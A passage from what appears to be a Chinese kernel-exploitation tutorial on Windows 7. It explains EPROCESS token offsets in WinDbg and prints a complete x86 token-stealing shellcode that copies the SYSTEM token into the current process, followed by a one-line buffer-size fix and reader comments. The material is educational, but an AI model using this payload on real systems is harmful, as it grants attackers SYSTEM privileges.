!process 869d77d8

image13.png
可以看到lsm.exe的进程Token即为8b0a2db0

  1. 通过EPROCESS偏移查看
dt nt!_EX_FAST_REF 869d77d8+0f8

这里的意思是进入到lsm.exeEPROCESS地址,然后使用_EX_FAST_REF结构体解读偏移0xf8后的位置
image14.png
3. 直接查看内存数据

dd 869d77d8+0f8

image15.png
那么1得到的Token对比2和3得到的Token值为什么不同呢?
!process命令会自动应用掩码,并从显示信息中过滤引用计数;我们可以通过使用最右3比特置零的掩码,在如下表达式求值的帮助下,人工实现相同的功能:

?[token] & 0xFFFFFFF8

image16.png
如图即可生成应用掩码后的Token
但是我们需要的不是应用掩码后的Token(8b0a2db0),而是需要应用掩码前的Token(8b0a2db3)

窃取凭证的载荷

一、关于调用到EPROCESS结构体的流程:

KPCRPrcbData-> KPRCBCurrentThread-> KTHREADApcState-> KAPC_STATEProcess-> KPROCESS

KPCR(Kernel Processor Control Region,内核处理器控制区域)在32位下有FS寄存器指向该结构,在64位下则使用GS寄存器指向,所以我们在32位下只需要FS:[0]就可以得到KPCR的地址。而KPROCESS是EPROCESS结构体的第一个成员,所以找到KPROCESS就是找到EPROCESS的起始位置

查看KPCR

image17.png

查看KPRCB

image18.png
所以CurrentThread就等于0x120 + 0x004 = 0x124

查看KTHREAD

image19.png

查看KAPC_STATE

image20.png
所以EPROCESS就等于 0x040 + 0x010 = 0x50

二、关于从不同EPROCESS结构体之间穿梭的流程:

EPROCESS结构体偏移0x0b8表示进程的双向链表

双向链表LIST_ENTRY将所有正在运行的进程链接到一条关系线上
如下是LIST_ENTRY的结构体定义:
image21.png
Flink指向下一个进程的链表,Blink指向上一个进程的链表

三、关于如何定位到SYSTEM进程的EPROCESS

而我们可以使用EPROCESS表上偏移0xb4成员UniqueProcessId来定位SYSTEM进程的EPROCESS
Win7下的SYSTEM的UniqueProcessId固定为4
image22.png

所以,我们只需要得到SYSTEM进程的Token即可进行凭证窃取

四、载荷编写

VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad                                      ;保存各寄存器数据
        ; start of Token Stealing Stub

        xor eax, eax                                ; eax设置为0
        mov eax, fs: [eax + 124h]                   ; 获取 nt!_KPCR.PcrbData.CurrentThread
        mov eax, [eax + 050h]                       ; 获取 nt!_KTHREAD.ApcState.Process
        mov ecx, eax                                ; 将本进程EPROCESS地址复制到ecx
        mov edx, 4                                  ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax + 0b8h]                       ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, 0b8h
            cmp[eax + 0b4h], edx                    ; 获取 nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID                     ; 循环检测是否是SYSTEM进程PID

            mov edx, [eax + 0f8h]                   ; 获取System进程的Token
            mov[ecx + 0f8h], edx                    ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
            ; End of Token Stealing Stub

            popad                                   ; 恢复各个寄存器数据

            ; Kernel Recovery Stub
            xor eax, eax                            ; 返回状态 SUCCEESS
            add esp, 12                             ; Fix the stack
            pop ebp                                 ; Restore saved EBP
            ret 8                                   ; Return cleanly
    }
}

0x08 修复方案


size设置为sizeof(KernelBuffer)即可

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));

参考链接:

评论

starryloki 2021-11-18 11:19:32

师傅tql

misift_Zero

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

数据安全 文章:29 篇
PHP安全 文章:45 篇
安全管理 文章:7 篇
Python安全 文章:13 篇
Web安全 文章:248 篇

最新评论

Retr_0

学到了

N

nairwx@gmail.com

学到了👍

4

41ien

我用的是 pikachu 靶场的文件,https://github.com/zh

糖果

打卡

Zedd

@41ien 1. 测试可以的,因为经过编码处理后其实与内容无关,理论上内容